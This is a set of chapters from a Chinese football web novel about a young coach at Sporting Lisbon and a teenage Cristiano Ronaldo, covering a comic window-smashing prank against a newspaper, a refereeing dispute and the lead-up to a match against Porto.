乔安洗完澡，身上的水渍还没干，拿着毛巾搓头发，一进更衣室就看到了坐在板凳上的黑发卷毛小孩。 小孩正捧着报纸，表情认真严肃。 乔安走上前，俯身凑去看，张嘴读了出来。 “炮轰媒体？球坛最狂教练的称号，显然已经被斯图亚特从穆里尼奥头顶夺走了，不知道该说他是张狂还是无礼，这是年轻人的共性吗？或许等哪天再出现一个十八岁的教练，我们才能知道事情的真相。” 声音在身后环绕，刺耳得厉害，克里斯蒂亚诺嗖的一下合上报纸，心里闷闷的，瘪起嘴。 “嘿。” 乔安还没读完，眼前的文字就成了残影，不满的叫了一声，抬起头，沉默了两秒，缓缓挑起眉。 “哦，我们的小罗纳尔多生气了，”乔安语气欠揍，“是为了我们的教练不平么~~” “走开。” 克里斯蒂亚诺伸手推了他一把，青年顺势后退，后背不小心撞在柜子上，立刻呲牙咧嘴起来。 “活该，”克里斯蒂亚诺笑了起来，很快又绷紧脸，抱怨道：“教练在维护我们，你却拿他的负面新闻不当一回事。” “你这话可冤枉我了。” 乔安一边揉肩，一边漫不经心道：“我早就计划好了怎么报复这些记者。” “嗯？”克里斯蒂亚诺直起身，“你想怎么做？” 见少年是真心求问，乔安也不藏着掖着了，俯身凑到他耳边，低声道：“那个一直写新闻黑教练的家伙，我已经知道他是谁了，我准备今晚去他们公司楼下，砸烂他办公室的窗户！” 克里斯蒂亚诺吓了一跳。 他一向遵守俱乐部规则，不做乱纪的事情，这么大胆的事情他还是第一次听说，不由自主的瞪大了眼睛。 “怎么？你怂了？”乔安嗤笑了一声，“小孩子，就你这样也想帮教练复仇解气。” “少胡说，”克里斯蒂亚诺沉声道，“我当然想帮教练复仇。” 乔安惊讶的扫了面前的少年两眼，这家伙长得秀气，球场上也是一踢就倒，没想到性格倒是直白，敢爱敢恨。 “行，那我的计划勉强可以加你一个。” 乔安爽快挥了挥手，“今晚十点《竞赛报》大厦不见不散。” 见少年脸上露出了几分犹豫，乔安皱起眉，不耐道：“你难道又不行了？” “当然行！” 他只是在想今晚要怎么溜出去。 想到自己要在安东尼的眼皮底下做坏事，克里斯蒂亚诺不免有种心虚的感觉，但是从另一个角度来看，替天行道，怎么不算一种好事呢？ 他眨了眨眼，太阳花睫毛飞速扇动，一副人畜无害的模样。 * 下午日常训练，安东尼忽然发现，家里的小孩竟然没有和罗伯特那些旧友一对一训练，反而和队里最难搞的愣头青乔安凑在一起。 两个脑袋靠得很近，嘀嘀咕咕不知道说了什么，爆发出一阵嘈杂的笑声。 安东尼眯了眯眼。 两人气氛越发和谐，他就越发糟心，忍耐无果后，安东尼挥了挥手，叫来了队长迭戈。 “教练。” 青年捋了一把汗湿的棕发，站在安东尼面前，平复呼吸。 安东尼揽过他的队长，偏过头，利用对方的身形挡住他的嘴型，轻声道：“找出来乔安又再想什么花招。” 熊孩子开心，必然在作妖！ 不能放任他们胡来，安东尼心想。 温热的呼吸打在耳边，像是一只来回扇动的羽毛，勾的皮肤下一阵阵的酥痒。 迭戈抿了抿唇。 “教练放心。” 自从上次心照不宣的事件，迭戈越发沉稳能干了，安东尼自然没有什么不放心的，抬手拍了下青年的后背，示意他去训练。 迭戈顿了顿，迈步离开，神色如常。 训练结束后，球员们一窝蜂挤进更衣室洗澡，克里斯蒂亚诺照例留下来加训，一个人去了器材室。 乔安是一群人里最先洗完澡的，他没急着离开，腰上裹着浴巾一屁股坐在皮沙发上，两腿大喇喇的敞着，风吹晇下送来阵阵清凉。 迭戈神色平静，路过对方，想起教练的交代，脚步一顿，偏过头。 “干嘛？” 见迭戈没说话，乔安耸了耸肩，俯身拿起桌上的香蕉，三两口吃完，抬手一扔，香蕉皮在空中划过一道弧线，掉进垃圾桶里，激动地握拳庆祝了一下。 看着这一幕，迭戈脸色难辨。 “大队长别瞎操心了，”乔安以为对方是怕自己偷懒，解释道：“我没打算走，等会儿冰浴完再加练。” “嗯。” 迭戈应声，脚步没动。 乔安一脸懵逼，抬起头，对上迭戈的视线，谨慎道：“请问您想做什么？” 不谨慎不行，教练说了，队长就是队伍内的权威，要是想对他们做出惩罚，一律可以先斩后奏。 迭戈在他身侧坐了下来。 他说：“老实交代，你的花招。” 语气平静，像是在谈论天气一样寻常。 闻言，乔安脸色大变，左顾右盼，没有见到漂亮小卷毛的身影，脑子里顿时炸了锅，整个人出奇愤怒。 他质问道：“是不是罗纳尔多那个小鬼告的密？” 迭戈没说话，依旧用冷淡的目光直直的看向他，看起来从容极了。 乔安从中得到了某种信号。 “我就知道那小子扛不住事儿，”乔安咬牙切齿，“他都告你了是吧，要去给教练复仇的事，还有时间地点。” 给教练复仇？ 迭戈喉结轻滚，缓缓道：“继续说。” “就和你知道的一样啊，”乔安翻了个白眼，“晚上十点，《竞赛报》大楼，我们计划把那个写教练坏话的主编办公室窗户砸烂。” 迭戈垂下眼，陷入沉思。 “都怪不靠谱的罗纳尔多！” 乔安在旁边愤愤不平的抱怨了几句，谁都知道迭戈是教练的小跟班，指哪打哪，十分听话，这事儿被他知道了就和教练知道了一样，他们的计划怕是要直接告吹了。 这一切都怪罗纳尔多的大嘴巴！ 就在乔安摩拳擦掌，准备好好教训一顿小孩的时候，迭戈幽幽开口。 “计划挺不错，”他说，“可以加我一个吗？” 乔安一愣，缓缓张大嘴。 上帝、耶稣、哈利路亚，他听见了什么？他那道德楷模的队长居然想不开，打算下地狱了！ 换做是别人，估计会劝一劝，让队长改邪归正，但乔安绝无此意，让人改邪归正的是神父，他顶多算个神子。 于是他一拍大腿，豪爽道：“行，那就再加你一个。” 迭戈点点头，表情沉静，不见喜色。 等到乔安裹着浴巾，大摇大摆离开更衣室前往水疗中心，迭戈这才掏出手机，点开通讯录最上方的人名，给教练发送短信。 指尖在键盘上跳跃，删删减减，最后变成一行字。 “花招已解除，暂无危机。” 29. 教练的最爱 收到短信时，安东尼正在办公室撰写训练调整计划，给迭戈回了一句：做得好，继续埋首案台，直到夜色沉沉，步行回家。 大概是他的生活太无趣，最近跟踪他的记者只剩下零星几只，大部分蹲在俱乐部门口，拍几张他的照片就走了，态度十分潇洒。 也不知道日常回家的行为有什么可拍的。 但安东尼还挺喜欢这种相处模式的，偶尔兴致不错，甚至还会和他们打个招呼，请喝一杯咖啡，其乐融融的状态不禁让人怀疑，两方的恩怨难道是假的？ 但说白了，两方又哪有恩怨？安东尼骂报纸、骂记者，也不是骂他们个人，不过就是份职业，彼此做彼此该做的事，下了班遇见还是熟人。 今天的生活和往常一样，安东尼去超市转了一圈，补足生活用品，牙膏他特意选了抗敏感的，小孩大概是智齿牙发炎了，疼的吃不下饭，看起来可怜兮兮的。 等牙疼好一点，安东尼打算带克里斯蒂亚诺去看牙医，解决掉智齿的毛病，顺便也戴上牙套，让爱美的家伙不用再对镜惆怅，抱怨他为什么不能像自己一样，有一口好牙。 安东尼没有告诉克里斯蒂亚诺自己也整过牙，每天露出整洁的牙齿，笑眯眯的看着小孩无能狂怒，成了他每日必做的消遣。 果然还是日子太无聊了。 安东尼从钱包里掏出几张钞票递给收银员，礼貌点头离开，在心里想到：要是在英国，事情就会不一样，他可以捡回以前的爱好，比如骑马、赛车之类的。 尽管如此，安东尼依然没后悔拒绝热刺的邀请。 上周末，他抽空回了趟英国，热刺的主席丹尼尔·列维是典型的商人，给他接风洗尘，十分热情得体，两人谈话融洽，直到对方提出要他的100%肖像所有权，和谐的氛围戛然而止。 肖像权，顾名思义就是一个人的外貌所有权，概念源自娱乐圈，在足坛则因为贝克汉姆而广为人知。 自从九十年代电视普及，俱乐部渐渐发现原来球员不仅可以在球场上赚大钱，代言产品、卖相应周边，球星效应成了第三赚钱的项目，前两项分别是球票和转会。 原来这就是热刺打的主意！ 安东尼恍然大悟，他们想要的不是冠军，是他身上的商业价值。 顿时，一种索然无味的感觉涌上心头，安东尼唰的一下合上手里的资料，站起身，边往外走，边冷声道：“再见，丹尼尔先生。” 行动快速而决绝，丹尼尔·列维来不及反应，看着对方的身影离开餐厅，越走越远。 从商人的角度来说，丹尼尔没做错什么，但对安东尼来说，这就是赤条条的羞辱，一个教练不靠实力，靠外貌被选为主帅，简直是对足坛最大的讽刺了。 富瓦克也好，丹尼尔也好，打心里都没看得起他的执教才能，总有一天他会让他们知道，他到底能走到什么程度！ 那份熬了无数个夜晚为热刺定制的计划书，被安东尼撕成碎片，毫不犹豫扔进垃圾桶。 即将失业，安东尼并没流露出负面情绪，照例提着生活用品回到公寓，晚上八点左右，克里斯蒂亚诺推开门，恰好安东尼端着盘子走出厨房。 两人视线相撞，安东尼一脸自然，说道：“给你买了新牙膏，晚上可以试试。” “嗯。” 克里斯蒂亚诺垂下眼，目光闪烁，乖乖点了点头。 晚餐的氛围有些不对劲，安东尼放下刀叉，拿起餐巾擦了擦嘴，视线落在对面沉默的少年身上。 他眯起眼，目光凌厉的仿佛能看穿人心，克里斯蒂亚诺心脏猛地一跳，下意识擦了擦嘴。 男人声音低沉，“牙痛加重了就该吃药。” 没有发现！ 克里斯蒂亚诺松了口气，苍白的脸染上了血色。 他瘪了瘪嘴，抱怨道：“可药很难吃。” 运动员想要吃止疼药，必须得注意成分和品牌，否则赛后尿检容易引发大麻烦，克里斯蒂亚诺吃的是俱乐部自调的药物，安全无害，但口味非常奇怪，他一向是敬而远之。 “...你该听话的，”安东尼静了静，威胁道：“明天是最后的期限，再不好，我会亲自喂你吃药。” 克里斯蒂亚诺胡乱点了点头。 今天这顿饭，没有了神采奕奕的少年侃侃而谈，和欢快的大笑声，安东尼吃的索然无味，结束了进食，一个负责刷碗，一个擦桌子，和往常一样配合默契。 互道晚安后，安东尼回到了房间。 直到房门关上，克里斯蒂亚诺提着的心才彻底落回肚子里，抬头看了眼墙上挂着的球形钟，离九点还有五分钟，现在跑步去报社，时间刚刚好。 克里斯蒂亚诺悄无声息的出门了。 * 深夜，漆黑的街上，两个人蹲在路灯下，似乎在等待什么。 风一吹，克里斯蒂亚诺裹紧身上的冲锋衣，挪了挪发麻的脚，小声问道：“我们为什么还不开始？” “啧，再等等。” 乔安抿了抿唇，嘴说劝着少年，脸上却尽显不耐，队长居然迟到，实在是太无语了。 “嗤拉——” 一辆银色奔驰从街口驶出来，加速冲刺，最后停在二人面前。 蹲在地上的两人噌的一下站起来，目光同时落在驾驶位，车门打开，露出熟悉的身影——竟是他们的队长！ 队长喜欢飙车？ 俩人面面相觑，在彼此的眼中都看到了一抹惊讶。 “来吧，事不宜迟，”迭戈面色严峻，仿佛是要做什么惊天动地的大事，“给我说说计划。” “有什么计划啊。” 乔安吐槽道：“你就捡块儿石头，使劲往窗户上砸。” “也是。” 迭戈沉思了一秒，点点头，以迅雷不及的速度蹲下身，捡起石头，抡圆胳膊使劲一掷。 我去！这么速度！ 一旁两人同时瞪大了眼睛。 克里斯蒂亚诺回过神，沉甸甸的咚声，仿佛还在耳边，不断回荡。 见窗户没破，他鼓起勇气，捡起一块儿更大的石头放在身前，后退一步，冲刺、抬脚、抽射！ “咚！” 这下子，窗户终于破了个洞。 “我去！” 乔安目瞪口呆，计划明明是他做的，这俩人怎么一个比一个猛？ 生怕来不及，乔安匆匆捡起一颗石子，也朝窗户上扔去，有一个洞的玻璃变得十分脆弱，石头又凿除一个新的洞。 这一下，藏在心里的郁气终于消散了。 三人相互对视，露出了畅快的笑容。 “真是没想到我们仨能聚在一起，”乔安耸了耸肩，“果然，干坏事才能让人变得团结。” “别想太多。” 迭戈给他泼了一盆冷水，“如果不是为了教练，我才不会做这种事。” “我也一样。” 克里斯蒂亚诺补充道。 是的，虽然他做了坏事，但上帝知道，他还是个好孩子。 克里斯蒂亚诺在心里默默画了个十字架，期望能减轻自己的罪恶。 “好好好，你们都是好孩子，只有我是坏人。” 乔安一脸不屑，他才不要告诉这两个家伙，自己也是第一次做这种偷偷摸摸的事。 第一次做点坏事也没关系，谁让自己是教练的最爱呢！ 三人同时在心里想到。 “滴滴。” 街道尽头突如其来的鸣笛声，让三人吓了一跳，相视一眼，眼里都写了一个字。 跑！ 迭戈飞速跑到车边，拉开车门，脚踩油门一骑绝尘；乔安跨上自行车，长腿一蹬，消失在黑夜里，只有克里斯蒂亚诺靠着一双小脚，卖力的飞奔。 鞋底碾过小巷的碎石子，被奔跑撕开的夜风灌进领口，克里斯蒂亚诺感觉到太阳穴的血管在突突跳动，小腿肌肉因为过度使用而颤抖着，明明做了坏事，内心却和进球一样的畅快！ 喘息混着脚步，渐渐合成一种粗粝的节奏，像鼓点，像心跳，在密闭的小巷里无限放大。 克里斯蒂亚诺忍不住笑了出来。 笑声在巷子里回荡，盘悬着逐渐上升，消散在更深的夜色中。 * 克里斯蒂亚诺蹑手蹑脚回到公寓。 推开门的一瞬间，他的视线立刻锁向斜前方，见安东尼的房门依旧紧闭，他瞬间松了口气，直起身，走进屋内。 踏进公寓的这一刻，或许是心脏不再紧绷，被肾上腺压抑着的疲惫感瞬间席卷全身，克里斯蒂亚诺的小腿就像是灌了铅。 完蛋了。 克里斯蒂亚诺心想。 奎西蒙先生很快就会现他的异常，到时候再告诉教练，在安东尼洞察一切的目光中国，他根本瞒不了几分钟，就会交代犯罪事实。 克里斯蒂亚诺不怕罚训，他只是怕自己做冷板凳，还怕会让安东尼失望。 但如果还有下次 的话..... 克里斯蒂亚诺站定，思索了一会儿，坚定的点点头。 是的，自己还会为教练出头，千千万万次都可以。 一个月前，里竞接连三场不胜，克里斯蒂亚诺被媒体骂是身娇体软的洋娃娃，输球就哭着找教练，看见新闻的时候，他确实很难过，但难过之后，心里憋着一股火气，拼命要在球场上证明自己。 媒体的贬低，对他既是伤害，也是一种动力。 可当话语对准了安东尼，他们骂他是狂人、是一时侥幸、是想靠言论出圈赚钱的捞货，克里斯蒂亚诺吃不好、睡不好，连训练都走神，胸膛里的火无论任何也压不下去了。 是的，如果还有下一次，他一定还会教育那些信口开河的混蛋！ 黑暗中，少年举起拳头，在空中晃了晃，眼里写满斗志。 但现在时间很晚了，克里斯蒂亚诺必须要尽快睡觉，才能养好自己的透支的身体，他收起神思，脚步轻快，推开了自己的房门。 昏黄的夜灯骤然亮了起来，打在他的脸上。 克里斯蒂亚诺条件反射的闭上了眼睛，眨了眨，快速睁开，看清眼前的一幕，他生无可恋，再次闭上了眼。 目睹少年欲盖弥彰的全过程的安东尼：“......” 拳头抵在唇边，轻咳了一声，道：“老实交代一下，你去哪了？” “我...” 克里斯蒂亚诺睁开眼，红红的湿润的眼神望着安东尼。 他喏喏道：“我睡不着，去跑了会儿步。” 真是个好借口。 安东尼双手交握叠在腿上，指尖在反光的表盘上轻轻扣了扣，从他坐在这儿开始，一个小时的时间，居然都在跑步。 看来小孩的失眠问题真的非常严重啊。 安东尼的嘴角扯出一抹笑。 无人开口的房间，气氛逐渐尴尬，克里斯蒂亚诺站在原地，脚尖不安的搓着地毯，心想，不能这么下去了。 他必须要找一个新的理由，最好是能让教练半信半疑，不想和他谈论的那种。 克里斯蒂亚诺想了想，聪明的大脑忽然来了主意，眼睛一亮！ “其实还有前因后果，”少年抿了抿唇，不好意思道：“因为我太兴奋了。” 兴奋？excited？ 安东尼没理解。 or....... 想到另一种可能性，安东尼的呼吸骤然乱了。 “砰。” 就在克里斯蒂亚诺思索要不要进一步解释他的兴奋时，重重的碰撞声在他面前响起，立刻抬起头，就见教练扶着床头柜，从他的床边站了起来。 半张脸沉入暗色，隐隐锋利的轮廓，睫毛的阴影遮去了瞳孔，看不清神色。 两人的沟通逐渐诡异起来。 “兴奋.....”安东尼斟酌了一下语言，“这是正常的。” “我知道。” 克里斯蒂亚诺心想，他又不是十一岁。 男人缓缓点点头，“你需要我帮你做什么吗？买些用的东西，还是杂志....” Fod‘ssake！ 克里斯蒂亚诺长吟了一声，捂住脸，莫名有些羞耻。 他们的文化里，性一直都是可以谈论的话题，没什么可害羞的，克里斯蒂亚诺本来也不排斥聊这些，可安东尼说出来就莫名的奇怪。 男人的声音带着明显的僵硬，听他教条式的科普，克里斯蒂亚诺的手脚逐渐蜷缩成团，耳根发热。 “我想我们还是别谈这个问题了，”他打断道，“我得睡觉了，教练。” “.....你说得对。” 安东尼勾了下唇角，状似平静道：“晚安。” 男人的步伐越走越快，带起一阵风，清凉的须后水味在屋内蔓延。 克里斯蒂亚诺立刻回想起早晨，安东尼站在镜子前涂抹的场景。 微微抬颈的姿态，喉结上方泛着淡红的皮肤，不徐不疾从瓶子里挤出半透明的液体，慢慢地、均匀地在脸上按压。 像是电影中的慢动作，纤长的食指从下巴尖一路抚向耳垂下方，收势时干净利落，散发出莫名的性张力。 “咔嚓。” 风从窗外吹来，带上了没关紧的门。 克里斯蒂亚诺猛地回过神。 他环顾一周，捞过角落里的足球，坐到床边，静的像是一尊雕塑，唯有抱着球的手臂缓缓收紧.... 30. 不公的赛事 一早，安东尼站在镜子前整理头发，厕所的门忽的一下打开了。 猝不及防撞上安东尼，克里斯蒂亚诺一愣，将怀里的脏衣服一股脑扔进洗衣机里，提起洗衣液吨吨吨的倒了半桶，然后迅速合上盖子，转动按扭，转身关门，像风一样来得快去得快，一下子没了影。 一动没动的安东尼：“......” 他扫了眼转动的洗衣机，目光定了一会儿，缓缓挪开眼。 早晨，一线队照常训练，走进球场，发现教练竟然也在。 依旧是得体的三件套，宽肩窄腰，长身直立，衣摆在风中轻轻飘扬，如同定海神针，一下子稳住了球员浮躁的心。 一时间，训练质量呈直线上升。 定海神针另一侧，奎西蒙双臂环胸，挑眉道：“你要是能天天出现在球场上，我的工作能轻松一半。” “你的工资减半不是更好？” 安东尼淡声道。 “错了错了，”奎西蒙飞快认怂，小心翼翼的看了眼他的冷脸，问：“昨天发生了什么？” 难道是和女朋友吵架了？ 想到这儿奎西蒙立刻兴奋起来。 安东尼没回，视线落在球场上，表情陷入沉思。 过了很长时间，久到奎西蒙已经不期待能得到任何答案，嘴里叼着口哨，意兴阑珊的看着球员们训练，身旁忽然传来声音。 “你对青春期有多少了解？” 奎西蒙噗的一下把口哨吹出声。 “没事儿没事儿，”挥手和回头的球员示意后，奎西蒙立刻转过头，惊讶的问：“老大别告诉我你还有弟弟妹妹。” 安东尼静静地看着他，礼貌淡笑，显然不打算回答。 “好吧，”奎西蒙思考了一下，“青春期离我实在是太远了，但我有个妹妹才17岁，从今年开始，她的行为就比较怪异了。” “性格忽冷忽热、想要独处、追求个性化，打扮的花枝招展，恋爱是一个接一个的谈。” “但也不用太担心，”奎西蒙耸了耸肩，“我们不也是从那个时候过来的，过几年青春期过了，就能想明白了。” 安东尼点点头，似乎是从奎西蒙的话里的内容找到了思路，嘴角终于有了几分笑意。 闲话过后，两人说起正题。 里斯本竞技如今势头高涨，不管是球员能力还是战术配置，已经达到了历史最好的水平，但如果想赢过波尔图，还是需要一些运气。 作为豪门老大哥，波尔图的球员不仅驰骋在葡超，去年在欧冠一路挺进八强，以一球之差被拜仁慕尼黑淘汰，可见实力强悍。 再加上有穆里尼奥的防守反攻战术加持，简直就是一只冠军之师。 如果不是碰上他的话。 安东尼从兜里掏出一个u盘，递给奎西蒙，“这是我和卡希尔参考穆里尼奥执教以来的所有比赛，总结出一套适配的战术，你来根据这些做出一份全新的训练计划。” “我希望这周就可以实行。” 里斯本竞技和波尔图的首场对决是客场作战，在联赛第三十二轮，这是足协惯常的手段了，留下两个实力强劲的豪门球队放在最后比赛，吸引球迷观看，进而增加转播收益。 不管足协怎么想，至少这个策略对安东尼是有利的，波尔图三线作战，加上全员老龄化，越到后期只会越疲软无力。 但愿事情没有意外。 安东尼心想。 * fg确实是立早了。 安东尼没想到，自己说这话的当天下午，就接到了消息，波尔图在四分之一决赛中以两回合总比分0-2不敌利物浦，止步八强。 这下子穆里尼奥怕是要捂在被窝里偷笑了。 事实证明他话又说早了，刚收到记者消息没多久，穆里尼奥的电话就打来了，看来这家伙不仅要偷笑，还要和他光明正大的显摆。 安东尼面不改色接通电话，“我以为你会更沉得住气。” “显然，我在你心中的形象太好，”穆里尼奥语气轻松，“你是不是太关注我了，比赛才结束半个小时，你就得到了消息。” “这是职业教练的素养。” 两人你来我往试探了一会儿，见打探不出穆里尼奥的战术调整方向，安东尼也不做无用功了，向后一靠，倚在椅子上，淡声道：“还有事吗？” 逐客令意味明显。 话筒对面，穆里尼奥啧了一声。 “你有没有看今天的新闻？”他忽然变了话题，“跟《竞赛报》大楼有关的，今天网友最津津乐道的事。” 安东尼一边拿出桌上叠好的报纸翻看，一边沉声问：“是和我有关的？” 昨天除了买的牙膏牌子变了，一切都如常，安东尼想不出自己还有哪些值得上新闻的地方。 他打开报纸，在头版头条中间找到了那条新闻：《破窗示威？两颗圆形石头滞留主编桌面，疑似斯图亚特人迷报复行为。》 破窗、两颗石头，还有....他的人迷？ 胡编乱造的东西，简直毫无道..... 安东尼表情不屑，脑中闪过凑在一起窃窃私语的两个脑袋瓜，合上报纸的动作一顿。 沉默过后，“这事会有报警调查吗？” “不过是一扇窗户有什么可报警的，写出来当新闻反而还赚了不少。” “哦，”安东尼缓了缓，慢条斯理道：“既然疑似是我的人迷复仇，这笔修缮费就由我来掏吧。” 穆里尼奥敏锐的察觉出哪里不对，但不过是一件小事，问了也不会得到回答，不如当个人情送给安东尼，便应了一声。 安东尼写了张支票，邮寄给穆里尼奥，让他和《竞赛报》的公司交涉，毕竟有波尔图股东的股份在，更好说话一些。 “事我帮你办了，”穆里尼奥随口一提：“对了，你研究我哪一场.....” 安东尼挂了电话。 男人靠在椅子上，垂眸思索，半响，睁开眼。 唇间溢出一抹轻笑。 “真是胡闹啊。” 声音落在地上，似耳语般轻柔、缠眷。 * 时间在日复一日的艰苦训练中，悄然溜走了，一晃就到了四月。 第二十九到三十一轮联赛，里斯本竞技以两胜一负的战绩，获得6个积分。 在第三十轮对阵埃斯托里尔的时候，赛场上发生了一些小插曲，对方防守后卫频繁犯规，克里斯蒂亚诺被恶意铲倒好几次，裁判却视若无睹，只给了几个后卫一人一张黄牌，惹得少年火气飙升，和裁判申诉的过程中，竟然直接被红牌罚下。 开赛第三十四分钟，场上就变成了10V11的局面，不禁让球迷们哑然。 安东尼在边裁警告的目光中，毅然决然走出了白线，揽住少年的肩头将他带进自己怀里，用行动证明两人不会有任何隔阂。 舆论对年幼的球员来可能是致命的，安东尼试图保护自家小孩，对方却情绪上头，坐回替补席，啪啪啪的摔衣服。 场内镜头拍的啪啪作响。 安东尼抿了抿唇，等对方发泄完， 将衣服一件一件捡起来，坐在他身侧，没有说话。 奎西蒙早在对方第一次犯规时就找了第四官员理论，可惜却一次次得到强硬的回答，安东尼将着一切看在眼里。 尽管脸上依旧带笑，眼神却是冷的。 场上奔跑的裁判突然打了个哆嗦。 祸不单行，下半场，裁判又以越位做缘由，吹掉了里竞一个进球，气的克里斯蒂亚诺又坐直了身子，开始摔瓶子。 安东尼瞥了眼生气的小孩，心想，今天受的委屈太多了，比赛结束后得好好哄哄才行。 这场比赛似乎是注定要输的。 第二十九轮，波尔图不敌阿马多拉，里竞反超波尔图一分，成了积分榜第一名，可出现这个意外，差距又拉到了两分。 前功尽弃。 赛后，安东尼对于这场比赛只有几句简单的评价。 “我的球员很好，请不要胡乱揣测，这场比赛明显存在个人倾向的判罚，我会向葡萄牙足协（FPF）内部的司法机构——司法委员会提出正式的申诉，不管多久都要一个答案。” 既炮轰媒体后，安东尼又和足联杠上了。 外界有夸他爱护球员，懂得维护球队，是个铁血硬汉，也有说他哗众取宠，心理脆弱，生怕不得冠军自己打脸。 但这些流言蜚语，通通不在安东尼考虑范围内，随着投入的时间越多，安东尼越能和球员感同身受，他们努力训练，倾尽一生就为了在赛场上追逐胜利，偏偏有人不愿意给他们公平的土壤。 安东尼不惜动用自己的个人影响力，在各大媒体上反复提及这件事，要求足联尽快处理，原本十五天左右的申诉过程，直接缩减到五天，给出的解决方案是：将克里斯蒂亚诺禁赛场次从2次降为1次。 这个结果一出，令所有人都感到不可思议。 理论上来说，裁判在场上根据比赛规则（如对一次犯规出示黄牌）做出的决定，被视为“技术性”判罚，这属于裁判的现场权威范畴，事后不可通过TAD（葡萄牙体育仲裁）进行复议。 安东尼聪明就聪明在他没有选择和TAD掰扯，而是找了司法委员会，毕竟他们接下来就剩四场比赛了，等和对方掰扯完，赛季已经结束了，到时候再拿到那份声明书，毫无意义。 只是禁赛一场，对里竞不算难过，但也足够让克里斯蒂亚诺留个心眼，越是赛季末，越要谨言慎行。 年轻的球员确实得到了宝贵的经验，但精神却很萎靡，蔫蔫的过了好几天后，安东尼实在是看不下去了。 带小孩看完正畸的牙医后，给他买了个冰淇淋，两人坐在凳子上，吹吹风。 安东尼缓缓开口，“我可以答应你一个愿望，如果你保证不会再萎靡不振的话。” 还有这种好事。 少年的眼睛骤然亮了。 经过几天的思考，克里斯蒂亚诺的情绪已经好多了，但他才不会错过这个好机会，假装沉思了一会儿，像模像样的点点头。 安东尼见他点头，松了口气，问：“你想要什么？” “要你陪我看2002年的日韩世界杯，”克里斯蒂亚诺早就想好了，大声道：“葡萄牙的每一场，都和我去现场观看。” 居然是这个要求。 安东尼盯着小孩儿兴奋的脸，神色逐渐复杂。 半响，他点了点头，“好。” “希望你到时候别后悔。” 为什么会后悔呢？ 克里斯蒂亚诺摸不着头脑，张嘴一口吃掉冰淇淋的脆筒，幸福的弯了弯眼睛。 31. 鲜衣怒马小小罗 客场作战波尔图，无疑是一场艰难的考验。 巨龙球场，看台上随处可见波尔图队徽上的龙图腾，四万多球迷的嘘声排山倒海袭来，大地震动发出簌簌的低吼，气势磅礴令人心颤。 和波尔图球迷相比，五千多的里斯本竞技球迷显得少的可怜，绿白的雄狮盘踞在北看台，加油声淹没在怒骂嘘声中，还没开始比赛，就陷入被压制的困境中。 客场更衣室，安东尼站在球员中，一反常态，脸上神色凌厉。 他环顾一周，被看到的球员纷纷挺起胸膛，一个个表情或紧张或严肃，或兴奋，每个人眼里都燃烧着熊熊大火。 安东尼满意的点点头，“保持好你们的斗志，小伙子们。” 他从桌上拿起战术板，将象征着两方的黑白吸铁石，贴了上去，板上赫然显现出两种阵型。 “4-3-3和……3-5-2？” 迭戈有些不确定。 对于前者他和队友都很熟悉，从安东尼执教以来，这是他们最常使用的阵容，而后者，他还没有在这个赛季看到任何一个球队使用过，迭戈很快意识到，对面波尔图的教练穆里尼奥选择了一种全新的阵容。 就为应对他们教练的战术！ “你们没看错，我刚刚拿到了波尔图的大名单，从球员配置来看，波尔图想要打意式防守。” 在意大利，这套阵容绝不会让人陌生，未来那不勒斯的主教练——马扎里，就是这个阵容的狂热爱好者，哪怕球队的球员一直在变，3-5-2阵容始终坚守。 “波尔图加强中场，无外乎是想打断我们对前场的输出。” 穆里尼奥不愧狡猾两字，在日复一日的观察中，他发现了安东尼致胜的秘诀——高效组织进攻。 回顾整个赛季，里斯本竞技进攻前的组织速度，都精准的控制在三分钟之内，这绝不是偶然现象，之所以里竞能快速组织进攻，全依赖中场的灵活调控。 很多球队为了防守里竞的进攻而加强后场，减少前场和中场球员，殊不知这是最致命的错误。 只有千日做贼,哪有千日防贼的道理？里竞组织进攻的次数越多，射门的几率就越大，再强的防守也挡不住对方一次次袭来。 所以穆里尼奥直接从源头解决这个麻烦——控制住里竞的中场。 不得不说，安东尼非常佩服穆里尼奥，没有未来的现代足球理念做根基，依旧能快速分辨出破局之道，不愧是未来的顶级名帅。 可惜还是太嫩。 穆里尼奥会拿捏里竞的弱点，难道他不会？别忘了波尔图的弱点可比里竞大多了，一只体力不支的老年队，最怕的就是必须要长途奔袭拦截，恰好里竞有两点优势：跑得快、传球准。 安东尼抬起眼，缓缓道：“是时候让波尔图看看我们的训练成果了。” 里竞球员们露出了兴奋的笑容。 双方从通道里走出来时，球场爆发出巨大的欢呼声。 声音对主场球队波尔图来说是如沐春风的鼓励，对客场死敌里斯本竞技，就变成秋风扫落叶的无情鞭笞。 安东尼仰起头，冰蓝色眼眸一点点扫过这片球场，试图记住这里每一个嚣张的面孔，只等着一个半小时后，再看一遍，对比一下差别。 队伍最后是克里斯蒂亚诺，其实他一向喜欢第一个出场，就和每次迈进球场必须用右脚一样，是从小养成的迷信，但作为里竞一线队的老小，现在轮不到他打头阵，他又讨厌泯然于众人，所以改成了走在最后。 除此以外，在队伍最后还有一个好处。 安东尼和他的球员们依次拥抱，大掌托住对方的背，凑到耳边低语两句，或鼓励或安慰。 也不知道从什么时候开始，他的球员都变得非常“脆弱”，上场前必须要教练给予些关怀，这个要求倒是无伤大雅，安东尼便认真的做了。 轮到最后的克里斯蒂亚诺，安东尼抬手捋了一下刚刚被迭戈不小心蹭乱的额发，冰蓝色眼眸锁在少年紧绷的嘴角，深深呼出一口气，将他揽进怀里。 “听着克里斯蒂亚诺，”安东尼凑到少年耳边低语，语气强硬，“今天这场比赛，我不允许你做出任何可能会让自己被罚下的举动。” “我才不会，”克里斯蒂亚诺抬起头，有些委屈道：“你知道我不是这样的人。” “是的你不会。”他安抚道。 怀里的身躯因不满而扭动，试图挣脱他的束缚，安东尼还有事情交代，才不会让少年逃脱，手掌下滑，牢牢扣住他的腰，语气认真起来。 “中场的迭戈、乔安、保罗，一定会被波尔图死死地盯住，恐怕很难打出致胜的球，我需要位置自由灵活，并且有更强的进攻力的人来打出这一球。” “你是说边锋？” “是的，我是在说你。” 安东尼没有错过少年骤然亮起的目光，再接再厉，沉声道：“克里斯蒂亚诺，我还能再相信你一次吗？” 就像少年踢出致命的点球那次。 “你永远可以！” 克里斯蒂亚目光坚定，向他保证。 不知道什么时候起，少年的脸褪去了稚嫩，虽然还有些婴儿肥，看起来已经是个像样的男人了。 安东尼点点头，手臂从克里斯蒂亚诺的后腰滑落下来，在对方诧异的目光中，轻轻揉了揉他的脑袋。 “gogetthem.” 拿下这场属于他的胜利。 少年点点头，迈着轻盈的步伐跑出球员通道，光亮的尽头，一个宽阔的球场，正等着他驰骋。 